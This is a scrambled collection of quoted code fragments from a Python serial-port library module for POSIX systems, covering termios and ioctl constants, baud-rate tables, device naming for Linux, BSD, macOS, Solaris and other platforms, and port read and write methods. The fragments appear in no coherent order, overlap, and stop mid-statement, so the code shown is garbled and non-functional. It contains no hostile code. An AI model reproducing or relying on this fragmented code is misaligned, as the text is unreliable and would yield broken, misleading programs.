"fcntl.ioctl(self.fd, TIOCCBRK) def setRTS(self, level=1): \"\"\"Set terminal status line: Request", "terminal status line: Data Terminal Ready\"\"\" if self.fd is None:", "line: Clear To Send\"\"\" if self.fd is None: raise portNotOpenError", "# classic version with our own file-like emulation class Serial(PosixSerial,", "def set_special_baudrate(port, baudrate): # use IOKit-specific call to set up", "0x100 TIOCM_CD = hasattr(TERMIOS, 'TIOCM_CD') and TERMIOS.TIOCM_CD or TIOCM_CAR TIOCM_RI", "elif plat[:3] == 'aix': # AIX def device(port): return '/dev/tty%d'", "0x80045402 #_IOW('T', 2, speed_t) fcntl.ioctl(port.fd, IOSSIOSPEED, buf, 1) else: #", "= {} elif plat[:4] == 'irix': # IRIX (partially tested)", "opened.\"\"\" self.fd = None if self._port is None: raise SerialException(\"Port", "'/dev/ttyS%d' % port ASYNC_SPD_MASK = 0x1030 ASYNC_SPD_CUST = 0x0030 def", "characters to be read. = for non blocking\" if vmin", "if (sys.hexversion < 0x020100f0): import TERMIOS else: TERMIOS = termios", "device becomes ready to read (or something fails) for fd,", "and TERMIOS.TIOCSBRK or 0x5427 TIOCCBRK = hasattr(TERMIOS, 'TIOCCBRK') and TERMIOS.TIOCCBRK", "self.fd is None: raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCSBRK) else:", "or 0x004 #TIOCM_ST = hasattr(TERMIOS, 'TIOCM_ST') and TERMIOS.TIOCM_ST or 0x008", "or 0x020 TIOCM_CAR = hasattr(TERMIOS, 'TIOCM_CAR') and TERMIOS.TIOCM_CAR or 0x040", "constants for later use. # try to use values from", "cflag &= ~(TERMIOS.PARENB|TERMIOS.PARODD) elif self._parity == PARITY_EVEN: cflag &= ~(TERMIOS.PARODD)", "platform\") baudrate_constants = {} elif plat[:5] == 'sunos': # Solaris/SunOS", "460800: 0o010004, 500000: 0o010005, 576000: 0o010006, 921600: 0o010007, 1000000: 0o010010,", "array buf = array.array('i', [0] * 32) # get serial_struct", "0o000011, 1800: 0o000012, 2400: 0o000013, 4800: 0o000014, 9600: 0o000015, 19200:", "return '/dev/cuad%d' % port baudrate_constants = {} elif plat[:6] ==", "done via select if self._interCharTimeout is not None: vmin =", "timeleft = timeout - time.time() if timeleft < 0: raise", "select. WARNING: this function is not portable to different platforms!\"\"\"", "on this system. ! Use an explicit path (eg /dev/ttyS1)", "hasattr(TERMIOS, 'TIOCMSET') and TERMIOS.TIOCMSET or 0x5418 #TIOCM_LE = hasattr(TERMIOS, 'TIOCM_LE')", "setDTR(self, level=1): \"\"\"Set terminal status line: Data Terminal Ready\"\"\" if", "'TIOCM_CAR') and TERMIOS.TIOCM_CAR or 0x040 TIOCM_RNG = hasattr(TERMIOS, 'TIOCM_RNG') and", "% self._baudrate) else: if custom_baud < 0: raise ValueError('Invalid baud", "bytes(read) if __name__ == '__main__': s = Serial(0, baudrate=19200, #", "def drainOutput(self): \"\"\"internal - not portable!\"\"\" if self.fd is None:", "or 0x080 TIOCM_DSR = hasattr(TERMIOS, 'TIOCM_DSR') and TERMIOS.TIOCM_DSR or 0x100", "self._reconfigurePort() except: try: os.close(self.fd) except: # ignore any exception when", "rate on this platform\") baudrate_constants = {} else: # platform", "rate bytesize=EIGHTBITS, # number of data bits parity=PARITY_EVEN, # enable", "baudrate=19200, # baud rate bytesize=EIGHTBITS, # number of data bits", "failed... sys.stderr.write(\"\"\"\\ don't know how to number ttys on this", "if level: fcntl.ioctl(self.fd, TIOCSBRK) else: fcntl.ioctl(self.fd, TIOCCBRK) def setRTS(self, level=1):", "case, wait until all data is written.\"\"\" self.drainOutput() def flushInput(self):", "emulation class Serial(PosixSerial, FileLike): pass else: # io library present", "name as port parameter. def device(portum): return '/dev/ttyS%d' % portnum", "= int(self._baudrate) # store for later except ValueError: raise ValueError('Invalid", "except KeyError: #~ raise ValueError('Invalid baud rate: %r' % self._baudrate)", "%r serialposix.py version = %s also add the device name", "struct.pack('I', TIOCM_DTR) TIOCSBRK = hasattr(TERMIOS, 'TIOCSBRK') and TERMIOS.TIOCSBRK or 0x5427", "like systems.\"\"\" def open(self): \"\"\"Open port with current settings. This", "= { 0: 0000000, # hang up 50: 0o000001, 75:", "% port ASYNC_SPD_MASK = 0x1030 ASYNC_SPD_CUST = 0x0030 def set_special_baudrate(port,", "can be used.\") # open try: self.fd = os.open(self.portstr, os.O_RDWR|os.O_NOCTTY|os.O_NONBLOCK)", "support arbitrary serial speeds if int(version[0]) >= 8: def set_special_baudrate(port,", "is not portable to different platforms!\"\"\" if self.fd is None:", "# they should work, just need to know the device", "else: FCNTL = fcntl # try to detect the OS", "plat[:7] == 'openbsd': # BSD (confirmed for freebsd4: cuaa%d) def", "TERMIOS.TIOCM_OUT1 or 0x2000 #TIOCM_OUT2 = hasattr(TERMIOS, 'TIOCM_OUT2') and TERMIOS.TIOCM_OUT2 or", "termios, struct, select, errno, time from .serialutil import * #", "{} elif plat[:3] == 'aix': # AIX def device(port): return", "has failed... sys.stderr.write(\"\"\"\\ don't know how to number ttys on", "device(port): return '/dev/ttyS%d' % port ASYNC_SPD_MASK = 0x1030 ASYNC_SPD_CUST =", "0x010 TIOCM_CTS = hasattr(TERMIOS, 'TIOCM_CTS') and TERMIOS.TIOCM_CTS or 0x020 TIOCM_CAR", "5: cflag |= TERMIOS.CS5 else: raise ValueError('Invalid char len: %r'", "systems def read(self, size=1): \"\"\"Read size bytes from the serial", "the requested number of bytes is read.\"\"\" if self.fd is", "'FIONREAD') and TERMIOS.FIONREAD or 0x541B TIOCM_zero_str = struct.pack('I', 0) TIOCM_RTS_str", "os, fcntl, termios, struct, select, errno, time from .serialutil import", "plat[:5] == 'sunos': # Solaris/SunOS (confirmed) def device(port): return '/dev/tty%c'", "= bytearray() while len(read) < size: ready,_,_ = select.select([self.fd],[],[], self._timeout)", "bytesize=EIGHTBITS, # number of data bits parity=PARITY_EVEN, # enable parity", "'ECHOKE'): # netbsd workaround for Erk if hasattr(TERMIOS, flag): lflag", "cflag |= TERMIOS.CS7 elif self._bytesize == 6: cflag |= TERMIOS.CS6", "TERMIOS.TIOCMBIC or 0x5417 TIOCMSET = hasattr(TERMIOS, 'TIOCMSET') and TERMIOS.TIOCMSET or", "def inWaiting(self): \"\"\"Return the number of characters currently in the", "0: timeout = time.time() + self._writeTimeout else: timeout = None", "blocking\" if vmin < 0 or vmin > 255: raise", "< size: # print \"\\tread(): size\",size, \"have\", len(read) #debug #", "function # for the platform plat = sys.platform.lower() if plat[:5]", "module for serial IO for POSIX compatible systems, like Linux", "2001-2010 <NAME> <<EMAIL>> # this is distributed under a free", "baudrate): # use IOKit-specific call to set up high speeds", "select based implementation, proved to work on many systems def", "and the timeout occurs, it # returns with empty lists", "currently in the input buffer.\"\"\" #~ s = fcntl.ioctl(self.fd, TERMIOS.FIONREAD,", "return some data as select reported it was # ready", "If select was used with a timeout, and the timeout", "buffer, aborting the current output and discarding all that is", "else: if self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF)", "unplugged)\"\"\" def read(self, size=1): \"\"\"Read size bytes from the serial", "duration.\"\"\" if self.fd is None: raise portNotOpenError termios.tcsendbreak(self.fd, int(duration/0.25)) def", "or 0x008 #TIOCM_SR = hasattr(TERMIOS, 'TIOCM_SR') and TERMIOS.TIOCM_SR or 0x010", "# apply custom baud rate, if any if custom_baud is", "we get to this point. if not buf: # Disconnected", "0x5415 TIOCMBIS = hasattr(TERMIOS, 'TIOCMBIS') and TERMIOS.TIOCMBIS or 0x5416 TIOCMBIC", "high speeds import array, fcntl buf = array.array('i', [baudrate]) IOSSIOSPEED", "vtime if vtime < 0 or vtime > 255: raise", "write(self, data): \"\"\"Output the given string over the serial port.\"\"\"", "iflag &= ~(TERMIOS.INLCR|TERMIOS.IGNCR|TERMIOS.ICRNL|TERMIOS.IGNBRK) if hasattr(TERMIOS, 'IUCLC'): iflag &= ~TERMIOS.IUCLC if", "io except ImportError: # classic version with our own file-like", "buffer # vmin \"minimal number of characters to be read.", "used.\") # open try: self.fd = os.open(self.portstr, os.O_RDWR|os.O_NOCTTY|os.O_NONBLOCK) except Exception", "'/dev/tty%dp0' % (port+1) def set_special_baudrate(port, baudrate): raise ValueError(\"sorry don't know", "1000000: 0o010010, 1152000: 0o010011, 1500000: 0o010012, 2000000: 0o010013, 2500000: 0o010014,", "else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF) # rtscts if hasattr(TERMIOS, 'CRTSCTS'): if", "0o010004, 500000: 0o010005, 576000: 0o010006, 921600: 0o010007, 1000000: 0o010010, 1152000:", "name of the serial port and where the counting starts", "is distributed under a free software license, see license.txt #", "bytes is read.\"\"\" if self.fd is None: raise portNotOpenError read", "timeout = time.time() + self._writeTimeout else: timeout = None while", "buf = array.array('i', [baudrate]) IOSSIOSPEED = 0x80045402 #_IOW('T', 2, speed_t)", "new I/O # library, derrive from io.RawIOBase try: import io", "hasattr(TERMIOS, 'CRTSCTS'): if self._rtscts: cflag |= (TERMIOS.CRTSCTS) else: cflag &=", "be read. = for non blocking\" if vmin < 0", "try: self._reconfigurePort() except: try: os.close(self.fd) except: # ignore any exception", "== 5: cflag |= TERMIOS.CS5 else: raise ValueError('Invalid char len:", "read. if not ready: break # timeout buf = os.read(self.fd,", "TERMIOS.TIOCM_RI or TIOCM_RNG #TIOCM_OUT1 = hasattr(TERMIOS, 'TIOCM_OUT1') and TERMIOS.TIOCM_OUT1 or", "if not ready: break # timeout buf = os.read(self.fd, size-len(read))", "% (self._baudrate)) except AttributeError: try: ispeed = ospeed = baudrate_constants[self._baudrate]", "support for 1.5 elif self._stopbits == STOPBITS_TWO: cflag |= (TERMIOS.CSTOPB)", "8: cflag |= TERMIOS.CS8 elif self._bytesize == 7: cflag |=", "like objects. In this case, wait until all data is", "self.fd is None: raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_RTS_str)", "'CRTSCTS'): if self._rtscts: cflag |= (TERMIOS.CRTSCTS) else: cflag &= ~(TERMIOS.CRTSCTS)", "(ord('a')+port) def set_special_baudrate(port, baudrate): raise ValueError(\"sorry don't know how to", "[baudrate]) IOSSIOSPEED = 0x80045402 #_IOW('T', 2, speed_t) fcntl.ioctl(port.fd, IOSSIOSPEED, buf,", "a valid file descriptor\") custom_baud = None vmin = vtime", "custom_baud) def close(self): \"\"\"Close port\"\"\" if self._isOpen: if self.fd is", "Serial(PosixSerial, io.RawIOBase): pass class PosixPollSerial(Serial): \"\"\"poll based read implementation. not", "don't care if it is select.POLLIN or timeout, that's #", "baudrate) baudrate_constants = { 0: 0000000, # hang up 50:", "= time.time() + self._writeTimeout else: timeout = None while t", "'PARMRK'): iflag &= ~TERMIOS.PARMRK # setup baud rate try: ispeed", "0 or vtime > 255: raise ValueError('Invalid vtime: %r' %", "SerialException('write failed: %s' % (v,)) return len(data) def flush(self): \"\"\"Flush", "portNotOpenError fcntl.fcntl(self.fd, FCNTL.F_SETFL, os.O_NONBLOCK) def fileno(self): \"\"\"For easier use of", "hasattr(TERMIOS, 'FIONREAD') and TERMIOS.FIONREAD or 0x541B TIOCM_zero_str = struct.pack('I', 0)", "return '/dev/ttyS%d' % port ASYNC_SPD_MASK = 0x1030 ASYNC_SPD_CUST = 0x0030", "= 0x80045402 #_IOW('T', 2, speed_t) fcntl.ioctl(port.fd, IOSSIOSPEED, buf, 1) else:", "elif self._bytesize == 6: cflag |= TERMIOS.CS6 elif self._bytesize ==", "array.array('i', [0] * 32) # get serial_struct FCNTL.ioctl(port.fd, TERMIOS.TIOCGSERIAL, buf)", "disconnected?)') read.extend(buf) return bytes(read) def write(self, data): \"\"\"Output the given", "for fd, event in poll.poll(self._timeout*1000): if event & (select.POLLERR|select.POLLHUP|select.POLLNVAL): raise", "IOSSIOSPEED = 0x80045402 #_IOW('T', 2, speed_t) fcntl.ioctl(port.fd, IOSSIOSPEED, buf, 1)", "ospeed, cc = termios.tcgetattr(self.fd) except termios.error as msg: # if", "== STOPBITS_TWO: cflag |= (TERMIOS.CSTOPB) else: raise ValueError('Invalid stop bit", "other Un*x like systems.\"\"\" def open(self): \"\"\"Open port with current", "or send this information to ! the author of this", "except termios.error as msg: # if a port is nonexistent", "= fcntl.ioctl(self.fd, TIOCINQ, TIOCM_zero_str) return struct.unpack('I',s)[0] # select based implementation,", "= fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_CD != 0", "= array.array('i', [baudrate]) IOSSIOSPEED = 0x80045402 #_IOW('T', 2, speed_t) fcntl.ioctl(port.fd,", "care if it is select.POLLIN or timeout, that's # handled", "rate on this platform\") baudrate_constants = {} elif plat ==", "# netbsd workaround for Erk if hasattr(TERMIOS, flag): lflag &=", "fcntl.ioctl(self.fd, TIOCINQ, TIOCM_zero_str) return struct.unpack('I',s)[0] # select based implementation, proved", "= {} #~ raise Exception, \"this module does not run", "self.fd is None: raise portNotOpenError return self.fd def flowControl(self, enable):", "device(port): return '/dev/tty%dp0' % (port+1) def set_special_baudrate(port, baudrate): raise ValueError(\"sorry", "number of data bits parity=PARITY_EVEN, # enable parity checking stopbits=STOPBITS_ONE,", "# enable parity checking stopbits=STOPBITS_ONE, # number of stop bits", "self.fd is None: raise portNotOpenError termios.tcsendbreak(self.fd, int(duration/0.25)) def setBreak(self, level=1):", "# get serial_struct FCNTL.ioctl(port.fd, TERMIOS.TIOCGSERIAL, buf) # set custom divisor", "\"\"\" % (sys.platform, os.name, VERSION)) # no exception, just continue", "instance with select. WARNING: this function is not portable to", "using a string with the real device name as port", "% port baudrate_constants = {} elif plat[:6] == 'netbsd': #", "except ImportError: # classic version with our own file-like emulation", "%r' % self._baudrate) else: if custom_baud < 0: raise ValueError('Invalid", "0x020200f0): import FCNTL else: FCNTL = fcntl # try to", "struct, select, errno, time from .serialutil import * # Do", "build a device name # even if the device name", "= os.read(self.fd, size-len(read)) # read should always return some data", "0: try: n = os.write(self.fd, d) if timeout: # when", "import array, fcntl buf = array.array('i', [baudrate]) IOSSIOSPEED = 0x80045402", "iflag &= ~TERMIOS.IUCLC if hasattr(TERMIOS, 'PARMRK'): iflag &= ~TERMIOS.PARMRK #", "< 8 def set_special_baudrate(port, baudrate): raise ValueError(\"baud rate not supported\")", "based implementation, proved to work on many systems def read(self,", "0x008 #TIOCM_SR = hasattr(TERMIOS, 'TIOCM_SR') and TERMIOS.TIOCM_SR or 0x010 TIOCM_CTS", "- - - - - - - - - -", "brave attempt to build a device name # even if", "= hasattr(TERMIOS, 'TIOCM_DSR') and TERMIOS.TIOCM_DSR or 0x100 TIOCM_CD = hasattr(TERMIOS,", "baud rate on this platform\") baudrate_constants = {} elif plat[:5]", "with a brave attempt to build a device name #", "is nonexistent but has a /dev file, it'll fail here", "= hasattr(TERMIOS, 'TIOCMSET') and TERMIOS.TIOCMSET or 0x5418 #TIOCM_LE = hasattr(TERMIOS,", "terminal status line: Data Set Ready\"\"\" if self.fd is None:", "how to number ttys on this system. ! Use an", "the serial port. If a timeout is set it may", "print \"\\tread(): size\",size, \"have\", len(read) #debug # wait until device", "Linux, show the # behavior that they are always ready", "None: raise portNotOpenError read = bytearray() while len(read) < size:", "'TIOCM_SR') and TERMIOS.TIOCM_SR or 0x010 TIOCM_CTS = hasattr(TERMIOS, 'TIOCM_CTS') and", "lists -> thus abort read operation. # For timeout ==", "not open port %s: %s\" % (self._port, msg)) #~ fcntl.fcntl(self.fd,", "> 0)) and not buf: break # early abort on", "\"\"\"Output the given string over the serial port.\"\"\" if self.fd", "to idle state after given duration.\"\"\" if self.fd is None:", "becomes ready to read (or something fails) for fd, event", "'/dev/cuad%d' % port def set_special_baudrate(port, baudrate): raise ValueError(\"sorry don't know", "timeout is set, use select to wait for being ready", "0o000006, 300: 0o000007, 600: 0o000010, 1200: 0o000011, 1800: 0o000012, 2400:", "up raw mode / no echo / binary cflag |=", "TIOCMBIC, TIOCM_RTS_str) def setDTR(self, level=1): \"\"\"Set terminal status line: Data", "- time.time() if timeleft < 0: raise writeTimeoutError _, ready,", "value, None for waiting forever xonxoff=0, # enable software flow", "(not tested) def device(port): return '/dev/tty%dp0' % (port+1) def set_special_baudrate(port,", "port with current settings. This may throw a SerialException if", "TERMIOS.ISIG|TERMIOS.IEXTEN) #|TERMIOS.ECHOPRT for flag in ('ECHOCTL', 'ECHOKE'): # netbsd workaround", "0o010005, 576000: 0o010006, 921600: 0o010007, 1000000: 0o010010, 1152000: 0o010011, 1500000:", "on Linux and many other Un*x like systems.\"\"\" def open(self):", "to this point. if not buf: # Disconnected devices, at", "TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_RI != 0 def getCD(self): \"\"\"Read", "specification: %r' % self._stopbits) # setup parity iflag &= ~(TERMIOS.INPCK|TERMIOS.ISTRIP)", "if timeout: # when timeout is set, use select to", "FCNTL.ioctl(port.fd, TERMIOS.TIOCSSERIAL, buf) except IOError: raise ValueError('Failed to set custom", "a device can be selected... # this code block should", "that is in the buffer.\"\"\" if self.fd is None: raise", "= Serial(0, baudrate=19200, # baud rate bytesize=EIGHTBITS, # number of", "may return less characters as requested. With no timeout it", "None: raise portNotOpenError t = len(data) d = data if", "%s: %s\" % (self._port, msg)) #~ fcntl.fcntl(self.fd, FCNTL.F_SETFL, 0) #", "list. ispeed = ospeed = getattr(TERMIOS, 'B38400') try: custom_baud =", "so that a device can be selected... # this code", "ASYNC_SPD_CUST # set serial_struct try: res = FCNTL.ioctl(port.fd, TERMIOS.TIOCSSERIAL, buf)", "TERMIOS.TCIFLUSH) def flushOutput(self): \"\"\"Clear output buffer, aborting the current output", "for flag in ('ECHOCTL', 'ECHOKE'): # netbsd workaround for Erk", "hasattr(TERMIOS, 'TIOCMGET') and TERMIOS.TIOCMGET or 0x5415 TIOCMBIS = hasattr(TERMIOS, 'TIOCMBIS')", "vmin: %r ' % vmin) cc[TERMIOS.VMIN] = vmin # vtime", "try: iflag, oflag, cflag, lflag, ispeed, ospeed, cc = termios.tcgetattr(self.fd)", "\"\"\"Read terminal status line: Clear To Send\"\"\" if self.fd is", "if vtime < 0 or vtime > 255: raise ValueError('Invalid", "free software license, see license.txt # # parts based on", "# is nothing to read. if not ready: break #", "== 'freebsd' or \\ plat[:7] == 'openbsd': # BSD (confirmed", "TIOCSBRK) else: fcntl.ioctl(self.fd, TIOCCBRK) def setRTS(self, level=1): \"\"\"Set terminal status", "/ binary cflag |= (TERMIOS.CLOCAL|TERMIOS.CREAD) lflag &= ~(TERMIOS.ICANON|TERMIOS.ECHO|TERMIOS.ECHOE|TERMIOS.ECHOK|TERMIOS.ECHONL| TERMIOS.ISIG|TERMIOS.IEXTEN) #|TERMIOS.ECHOPRT", "# - - - - - - - - -", "with the time left as timeout timeleft = timeout -", "n except OSError as v: if v.errno != errno.EAGAIN: raise", "~TERMIOS.CSIZE if self._bytesize == 8: cflag |= TERMIOS.CS8 elif self._bytesize", "supported\") def device(port): return '/dev/cuad%d' % port baudrate_constants = {}", "\"\"\"Read terminal status line: Ring Indicator\"\"\" if self.fd is None:", "otherwise TIOCMGET = hasattr(TERMIOS, 'TIOCMGET') and TERMIOS.TIOCMGET or 0x5415 TIOCMBIS", "if plat[:5] == 'linux': # Linux (confirmed) def device(port): return", "writeTimeoutError _, ready, _ = select.select([], [self.fd], [], timeleft) if", "= select.poll() poll.register(self.fd, select.POLLIN|select.POLLERR|select.POLLHUP|select.POLLNVAL) if size > 0: while len(read)", "select if self._interCharTimeout is not None: vmin = 1 vtime", "baudrate_constants = {} elif plat == 'openbsd3': # BSD (confirmed)", "hasattr(TERMIOS, 'TIOCM_CAR') and TERMIOS.TIOCM_CAR or 0x040 TIOCM_RNG = hasattr(TERMIOS, 'TIOCM_RNG')", "vtime: %r' % vtime) cc[TERMIOS.VTIME] = vtime # activate settings", "Controls TXD. When active, no transmitting is possible.\"\"\" if self.fd", "else: fcntl.ioctl(self.fd, TIOCCBRK) def setRTS(self, level=1): \"\"\"Set terminal status line:", "bytes(read) def write(self, data): \"\"\"Output the given string over the", "is not None and self._timeout >= 0) or (self._interCharTimeout is", "setBreak(self, level=1): \"\"\"Set break: Controls TXD. When active, no transmitting", "if self.fd is not None: os.close(self.fd) self.fd = None self._isOpen", "< 0 or vtime > 255: raise ValueError('Invalid vtime: %r'", "to wait for being ready # with the time left", "TIOCMGET = hasattr(TERMIOS, 'TIOCMGET') and TERMIOS.TIOCMGET or 0x5415 TIOCMBIS =", "present class Serial(PosixSerial, io.RawIOBase): pass class PosixPollSerial(Serial): \"\"\"poll based read", "! Use an explicit path (eg /dev/ttyS1) or send this", "of file like objects. In this case, wait until all", "and TERMIOS.TIOCM_RI or TIOCM_RNG #TIOCM_OUT1 = hasattr(TERMIOS, 'TIOCM_OUT1') and TERMIOS.TIOCM_OUT1", "termios.tcgetattr(self.fd) except termios.error as msg: # if a port is", "Serial Port Extension for Win32, Linux, BSD, Jython # module", "this platform\") baudrate_constants = {} #~ raise Exception, \"this module", "to read when we get to this point. if not", "TIOCM_RTS_str) def setDTR(self, level=1): \"\"\"Set terminal status line: Data Terminal", "status line: Data Terminal Ready\"\"\" if self.fd is None: raise", "and fcntl. Runs on Linux and many other Un*x like", "is done via select if self._interCharTimeout is not None: vmin", "read when we get to this point. if not buf:", "fcntl.fcntl(self.fd, FCNTL.F_SETFL, 0) # set blocking try: self._reconfigurePort() except: try:", "set up raw mode / no echo / binary cflag", "better handling of errors, such as a device disconnecting while", "= 1 vtime = int(self._interCharTimeout * 10) try: iflag, oflag,", "for the platform plat = sys.platform.lower() if plat[:5] == 'linux':", "else: termios.tcflow(self.fd, TERMIOS.TCIOFF) # assemble Serial class with the platform", "'IUCLC'): iflag &= ~TERMIOS.IUCLC if hasattr(TERMIOS, 'PARMRK'): iflag &= ~TERMIOS.PARMRK", "know the device names. # load some constants for later", "if v.errno != errno.EAGAIN: raise SerialException('write failed: %s' % (v,))", "select.select([], [self.fd], [], timeleft) if not ready: raise writeTimeoutError d", "except Exception as msg: self.fd = None raise SerialException(\"could not", "ValueError('Invalid stop bit specification: %r' % self._stopbits) # setup parity", "this point. if not buf: # Disconnected devices, at least", "# this code block should supply a device() and set_special_baudrate()", "same as TWO.. there is no POSIX support for 1.5", "poll.poll(self._timeout*1000): if event & (select.POLLERR|select.POLLHUP|select.POLLNVAL): raise SerialException('device reports error (poll)')", "no exception, just continue with a brave attempt to build", "# but reading returns nothing. raise SerialException('device reports readiness to", "~(TERMIOS.ICANON|TERMIOS.ECHO|TERMIOS.ECHOE|TERMIOS.ECHOK|TERMIOS.ECHONL| TERMIOS.ISIG|TERMIOS.IEXTEN) #|TERMIOS.ECHOPRT for flag in ('ECHOCTL', 'ECHOKE'): # netbsd", "= {} else: # platform detection has failed... sys.stderr.write(\"\"\"\\ don't", "store for later except ValueError: raise ValueError('Invalid baud rate: %r'", "def getRI(self): \"\"\"Read terminal status line: Ring Indicator\"\"\" if self.fd", "tested) def device(port): return '/dev/tty%dp0' % (port+1) def set_special_baudrate(port, baudrate):", "use values from TERMIOS, use defaults from linux otherwise TIOCMGET", "portnum def set_special_baudrate(port, baudrate): raise SerialException(\"sorry don't know how to", "try it with alternate constant name if self._rtscts: cflag |=", "no POSIX support for 1.5 elif self._stopbits == STOPBITS_TWO: cflag", "= fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_DSR != 0", "returns nothing. raise SerialException('device reports readiness to read but returned", "possible.\"\"\" if self.fd is None: raise portNotOpenError if level: fcntl.ioctl(self.fd,", "vmin \"minimal number of characters to be read. = for", "self._bytesize) # setup stopbits if self._stopbits == STOPBITS_ONE: cflag &=", "'openbsd': # BSD (confirmed for freebsd4: cuaa%d) def device(port): return", "500000: 0o010005, 576000: 0o010006, 921600: 0o010007, 1000000: 0o010010, 1152000: 0o010011,", "bytearray() while len(read) < size: ready,_,_ = select.select([self.fd],[],[], self._timeout) #", "TIOCMBIC = hasattr(TERMIOS, 'TIOCMBIC') and TERMIOS.TIOCMBIC or 0x5417 TIOCMSET =", "TIOCCBRK) def setRTS(self, level=1): \"\"\"Set terminal status line: Request To", "def flowControl(self, enable): \"\"\"manually control flow - when hardware or", "baudrate_constants = {} elif plat[:4] == 'irix': # IRIX (partially", "elif plat[:5] == 'sunos': # Solaris/SunOS (confirmed) def device(port): return", "return less characters as requested. With no timeout it will", "not ready: raise writeTimeoutError d = d[n:] t = t", "{} elif plat[:4] == 'irix': # IRIX (partially tested) def", "TIOCM_RTS) TIOCM_DTR_str = struct.pack('I', TIOCM_DTR) TIOCSBRK = hasattr(TERMIOS, 'TIOCSBRK') and", "# OS X version = os.uname()[2].split('.') # Tiger or above", "self._parity == PARITY_ODD: cflag |= (TERMIOS.PARENB|TERMIOS.PARODD) else: raise ValueError('Invalid parity:", "should there be a warning if setting up rtscts (and", "is enabled\"\"\" if enable: termios.tcflow(self.fd, TERMIOS.TCION) else: termios.tcflow(self.fd, TERMIOS.TCIOFF) #", "xonxoff etc) fails?? # buffer # vmin \"minimal number of", "flowControl(self, enable): \"\"\"manually control flow - when hardware or software", "255: raise ValueError('Invalid vmin: %r ' % vmin) cc[TERMIOS.VMIN] =", "TIOCM_RI != 0 def getCD(self): \"\"\"Read terminal status line: Carrier", "<<EMAIL>>: # ftp://ftp.visi.com/users/grante/python/PosixSerial.py # # references: http://www.easysw.com/~mike/serial/serial.html import sys, os,", "# If select was used with a timeout, and the", "\"\"\"Clear output buffer, aborting the current output and discarding all", "raise SerialException(\"could not open port %s: %s\" % (self._port, msg))", "cflag |= (TERMIOS.CNEW_RTSCTS) else: cflag &= ~(TERMIOS.CNEW_RTSCTS) # XXX should", "the port # also to keep original exception that happened", "== PARITY_EVEN: cflag &= ~(TERMIOS.PARODD) cflag |= (TERMIOS.PARENB) elif self._parity", "TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_CTS != 0 def getDSR(self): \"\"\"Read", "implementation, proved to work on many systems def read(self, size=1):", "# library, derrive from io.RawIOBase try: import io except ImportError:", "call to set up high speeds import array, fcntl buf", "active, no transmitting is possible.\"\"\" if self.fd is None: raise", "if level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_DTR_str) else: fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_DTR_str) def", "port: %s\" % msg) # set up raw mode /", "% baudrate) baudrate_constants = { 0: 0000000, # hang up", "if hasattr(TERMIOS, 'PARMRK'): iflag &= ~TERMIOS.PARMRK # setup baud rate", "selected... # this code block should supply a device() and", "does not run on this platform, sorry.\" # whats up", "\"\"\"internal - not portable!\"\"\" if self.fd is None: raise portNotOpenError", "custom_baud = int(self._baudrate) # store for later except ValueError: raise", "it can be used.\") # open try: self.fd = os.open(self.portstr,", "(confirmed) def device(port): return '/dev/tty%c' % (ord('a')+port) def set_special_baudrate(port, baudrate):", "TIOCM_DSR != 0 def getRI(self): \"\"\"Read terminal status line: Ring", "serial port and where the counting starts for the first", "else: # version < 8 def set_special_baudrate(port, baudrate): raise ValueError(\"baud", "1152000: 0o010011, 1500000: 0o010012, 2000000: 0o010013, 2500000: 0o010014, 3000000: 0o010015,", "use select to wait for being ready # with the", "% (v,)) return len(data) def flush(self): \"\"\"Flush of file like", "2400: 0o000013, 4800: 0o000014, 9600: 0o000015, 19200: 0o000016, 38400: 0o000017,", "def device(port): return '/dev/com%d' % (port + 1) def set_special_baudrate(port,", "hasattr(TERMIOS, 'TIOCM_LE') and TERMIOS.TIOCM_LE or 0x001 TIOCM_DTR = hasattr(TERMIOS, 'TIOCM_DTR')", "def open(self): \"\"\"Open port with current settings. This may throw", "for 1.5 elif self._stopbits == STOPBITS_TWO: cflag |= (TERMIOS.CSTOPB) else:", "as select reported it was # ready to read when", "custom baud rate: %r' % baudrate) baudrate_constants = { 0:", "transmitting is possible.\"\"\" if self.fd is None: raise portNotOpenError if", "\"\"\"Set break: Controls TXD. When active, no transmitting is possible.\"\"\"", "lflag, ispeed, ospeed, cc = termios.tcgetattr(self.fd) except termios.error as msg:", "size - len(read)) read.extend(buf) if ((self._timeout is not None and", "IOSSIOSPEED, buf, 1) else: # version < 8 def set_special_baudrate(port,", "can get this module running... \"\"\" % (sys.platform, os.name, VERSION))", "size > 0: while len(read) < size: # print \"\\tread():", "buf = os.read(self.fd, size-len(read)) # read should always return some", "# xonxoff if hasattr(TERMIOS, 'IXANY'): if self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF)", "Disconnected devices, at least on Linux, show the # behavior", "os.read(self.fd, size-len(read)) # read should always return some data as", "'TIOCMBIS') and TERMIOS.TIOCMBIS or 0x5416 TIOCMBIC = hasattr(TERMIOS, 'TIOCMBIC') and", "def device(port): return '/dev/ttyf%d' % (port+1) #XXX different device names", "&= ~getattr(TERMIOS, flag) oflag &= ~(TERMIOS.OPOST) iflag &= ~(TERMIOS.INLCR|TERMIOS.IGNCR|TERMIOS.ICRNL|TERMIOS.IGNBRK) if", "this platform, sorry.\" # whats up with \"aix\", \"beos\", ....", "== STOPBITS_ONE_POINT_FIVE: cflag |= (TERMIOS.CSTOPB) # XXX same as TWO..", "systems, like Linux # see __init__.py # # (C) 2001-2010", "running... \"\"\" % (sys.platform, os.name, VERSION)) # no exception, just", "0000000, # hang up 50: 0o000001, 75: 0o000002, 110: 0o000003,", "rate try: ispeed = ospeed = getattr(TERMIOS, 'B%s' % (self._baudrate))", "(TERMIOS.IXON|TERMIOS.IXOFF) else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF) # rtscts if hasattr(TERMIOS, 'CRTSCTS'):", "level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_DTR_str) else: 